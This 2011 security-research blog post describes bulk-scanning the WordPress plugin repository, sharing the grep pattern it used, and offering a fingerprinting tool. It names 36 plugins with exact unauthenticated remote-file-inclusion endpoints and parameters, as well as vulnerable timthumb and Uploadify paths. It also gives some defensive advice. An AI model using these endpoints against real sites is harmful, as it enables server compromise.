Explo(it|r)ing the Wordpress Extension Repos

Today's post is kind of long, so I thought I should warn you in advance by adding an additional paragraph for you to read. I also wanted to provide download links for those who'd rather just read the code. It isn't the cleanest code in the world, so I apologize in advance. I discuss what all of these are for and how they work later on in the post, so if you're confused and/or curious, read on. Downloads:

  • Copies of the Wordpress theme and plugin repositories can be grabbed via torrent (Please note that the plugin repo has a few directories incomplete/missing; this can be fixed by running my checkout code)
  • A new Wordpress plugin fingerprinting tool, wpfinger (download). This tool can infer detailed version information on just about every plugin in the Wordpress repository. This package also contains some useful libraries for checking out the repositories and scraping plugin rankings, as this is used in the fingerprinting tool.

Intro

After finding an arbitrary file upload vulnerability in 1 Flash Gallery, I became curious as to how many other Wordpress plugins made basic security mistakes. The 1 Flash Gallery plugin issue, it seems, is that they CTRL-C-V'd code from a project called Uploadify, which has been known to be vulnerable for quite awhile.

After realizing this, I became curious as to how many plugins make easy-to-spot security mistakes, such as reusing vulnerable libraries or doing such things as include($_REQUEST['lulz']). However, my curiosity was initially somewhat hampered by the fact that downloading and auditing every Wordpress plugin one at a time is not only a mind numbing task, but a herculean one as well. And, well, I'm incredibly lazy.

Getting the Repos

So what to do? Well, it turns out that Wordpress is nice enough to have public repositories (http://plugins.svn.wordpress.org and http://themes.svn.wordpress.org) containing all plugins that have ever been submitted, as well as every theme.  This, of course, was exciting: I could just check this out, whip out some grep-fu, and have my answers.

Alright, so maybe it isn't as simple as that. First, the plugin repo is huge: as is, it's taking up a good 80GB on one of my disks and contains approximately 12,000,000 files, thanks in no small part to subversion's insistence on creating ridiculous numbers of internal files. This isn't all that suprising, however, given that the repo contains ~23,000 plugins.

As I found out in my initial failed attempts to grab the code, checking this out all at once with subversion is, as far as I can tell, impossible. After about 15-20 minutes of downloading, the checkout would error out, and I'd have to wait for SVN to reverify everything it had already gotten. This got old quickly, so I came up with a hacked workaround: I wrote a quick script that simply checked out the individual repositories for every plugin and theme. Not very clean, but for my purposes, effective. A little over a day later, I had all the themes and plugins, and it was time for some fun.

A side note: for those of you who would like to play with either of these, I'd recommend grabbing the torrent, extracting it, and then running my checkout script in wpfinger in the directory above them. This will still get you the latest versions of all the plugins, but should take significantly less time and put less strain on everyone's servers.

Attack

Anyway, on to the vulnerabilities. During my scans I found remote unauthenticated code execution vulnerabilities in 36 plugins, varying in popularity from ~250 downloads to ~60,000. Finding them took essentially no effort or skill on my part, just patience.

The following eleven plugins were found entirely with grep and a little bit of manual inspection. Instead of running over every PHP file in the repo, I sped things up by only running over code in the trunk directories. This was under the assumption that that should be the latest code. Pretty much all of these were found analyzing results from the same grep:

Grep used: egrep -i '(include|require)(_once)?(\(|\s+)[^[;)]*\$_(REQUEST|GET|POST|COOKIE)'

Base is http://host/wp-content/plugins/PLUGIN_NAME/ unless explicitly stated.

Remote File Include - unauthenticated
----------------------------------------------------------
  • zingiri-web-shop = /fws/ajax/init.inc.php?wpabspath=RFI OR /fwkfor/ajax/init.inc.php?wpabspath=RFI
  • mini-mail-dashboard-widget = wp-mini-mail.php?abspath=RFI (requires POSTing a file with ID wpmm-upload for this to work)
  • mailz = /lists/config/config.php?wpabspath=RFI
  • relocate-upload = relocate-upload.php?ru_folder=asdf&abspath=RFI
  • disclosure-policy-plugin = /functions/action.php?delete=asdf&blogUrl=asdf&abspath=RFI
  • wordpress-console = /common.php POST="root=RFI"
  • livesig = /livesig-ajax-backend.php POST="wp-root=RFI"
  • annonces = /includes/lib/photo/uploadPhoto.php?abspath=RFI
  • theme-tuner = /ajax/savetag.php POST="tt-abspath=RFI"
  • evarisk = /include/lib/actionsCorrectives/activite/uploadPhotoApres.php?abspath=RFI
  • light-post = /wp-light-post.php?abspath=RFI
Local File Include - unauthenticated
----------------------------------------------------------

As an experiment, I also modified a nice static source analyzer called RIPS to take command line arguments (grab here, if interested) and print out some basic information on probable vulnerabilities, and then ran it over the plugin repo. Unfortunately, the noise was still pretty high (partly due to its lack of OO support), so I didn't find all too much beyond the greps. However, it did turn up a few RFIs:

  • thecartpress = /checkout/CheckoutEditor.php?tcp_save_fields=true&tcp_class_name=asdf&tcp_class_path=RFI
  • allwebmenus-wordpress-menu-plugin = actions.php POST="abspath=RFI"
  • wpeasystats = export.php?homep=RFI

Finally, I searched for Uploadify usage and outdated timthumb.php libraries. This turned up another 24 vulnerable plugins:

  • user-avatar - /user-avatar-pic.php -> Only vulnerable if register_globals is enabled
  • onswipe - /framework/thumb/thumb.php
  • islidex - /js/timthumb.php
  • seo-image-galleries - /timthumb.php
  • verve-meta-boxes - /tools/timthumb.php
  • dd-simple-photo-gallery - /include/resize.php
  • wp-marketplace - /libs/timthumb.php
  • a-gallery - /timthumb.php
  • auto-attachments - /thumb.php
  • cac-featured-content - /timthumb.php
  • category-grid-view-gallery - /includes/timthumb.php
  • category-list-portfolio-page - /scripts/timthumb.php
  • cms-pack - /timthumb.php
  • dp-thumbnail - /timthumb/timthumb.php
  • extend-wordpress - /helpers/timthumb/image.php
  • kino-gallery - /timthumb.php
  • lisl-last-image-slider - /timthumb.php
  • mediarss-external-gallery - /timthumb.php
  • really-easy-slider - /inc/thumb.php
  • rekt-slideshow - /picsize.php
  • rent-a-car - /libs/timthumb.php
  • vk-gallery - /lib/timthumb.php
  • gpress = /gpress-admin/fieldtypes/styles_editor/scripts/uploadify.php?fileext=php - exact same as 1 Flash Plugin vuln

Obviously, it's not very hard to find a decent number of 0days just by grepping around, which is mildly disconcerting. Honestly, I had so many hits for these searches that I probably missed a good deal of them. But what else, besides vulnerability discovery, can we do with all this data?

Fingerprint

As an attacker, it's always nice to be able to figure out exactly what code is running on a given server. Of course, this isn't usually possible, as it requires a large body of information that just isn't there. However, it becomes much, much easier when you have access to the wealth of information contained in an SVN repo.

I feel that I should mention that ethicalhack3r's awesome tool WPScan does some of this, but last I checked will only detect if the top 2000 plugins are installed, and, as far as I know, won't give you a version. This is not to fault his work, though, at all; as I said, doing fine grained fingerprinting on every plugin would normally be difficult to impossible in most circumstances, and his tool does a ton of stuff that wpfinger doesn't.

So what does the repo give us that we were missing before? Well, we of course have a list of all the plugins, and it is then trivial to grab all of their download stats from wordpress.org to sort them in order of popularity. In addition, we have not only the current version of the plugin in the trunks, but we also (if SVN is being used properly) have tags for each of the major version changes. Simply by comparing these and finding changed files that we can check for remotely (added/removed/modified content files or added/removed php scripts), we can build a very effective fingerprint for each version of the plugin. Then, all we have to do is run a small number of checks once we find that a plugin is installed to obtain, at the very least, the major version of the plugin.

My current implementation is not pretty, but it seems to work quite well on the servers I tested with. My signatures are simply binary search trees encoded using Python tuples (don't judge me, it was quick to do it that way), which I regenerate whenever I update the SVN.  The initial fingerprinting takes quite awhile, as it stupidly MD5s all of the relevant files in the repos. This was before I knew that filecmp/dircmp existed, so that's probably going to be rewritten soon enough.

Once the signatures are created, the scans are quite fast, and very effective. It normally only takes one to two requests to detect plugin presence, and only takes two or three more in most cases to detect the version. It also tries to deal with things like error pages that return 200 by using difflib to compare the error page to the returned page, although there's probably still some issues with that.

As I mentioned earlier, you can check the latest versions over on Google Code from now on. Here's a screenshot of a scan against one of my test servers:

wpfinger in action

Now that I've outlined more than enough ways to aid exploitation, let's talk briefly about what can be done to help prevent some of these attacks.

Defend

For the Wordpress developers, the best defense would probably be to scan any commits for known vulnerabilities, and either warn or (preferably) block the developers from adding exploitable code to the repository. This can be done quite easily using pre-commit hooks for SVN, which allow for custom verification of commits to a repository. I'm planning on releasing an example script when I get time that will detect commits introducing the vulnerabilities I scanned for, but the more interesting problem is how to gather a larger, better collection of signatures. I've got a couple vague ideas for how to go about doing this, but would love suggestions on the subject.

As for what site admins can do, it's pretty clear: don't install plugins or themes unless you *absolutely* need to or you are willing to and have the expertise to audit what you're installing. Just because you have the latest version does not necessarily make you safe, and if you forget to update, it's quite easy for an attacker to detect and exploit. In addition to limiting your number of installed plugins, it might be possible to parse the signatures I provide and use a WAF to return tainted results when those URLs are requested too closely together. Haven't personally done it, but I'm sure it wouldn't be too extraordinarily difficult.

Conclusion

The methods presented here are not unique to Wordpress; I'm fairly confident in saying that it could easily be applied to any open source CMS. I largely chose Wordpress because I was already working with it when I stumbled into this, and they had a really nice repository to pull from. Please feel free to try it out other places, and let me know how it goes.

P.S.: I'd like to thank duststorm for lending me a server to seed the repos with. Much appreciated.


Written by admin in Code, Vulnerabilities on Sun 18 September 2011. Tags: lfi, rfi, scanning, sqli, subversion, svn, vulnerabilities, wordpress,


Copyright Ben Schmidt 2015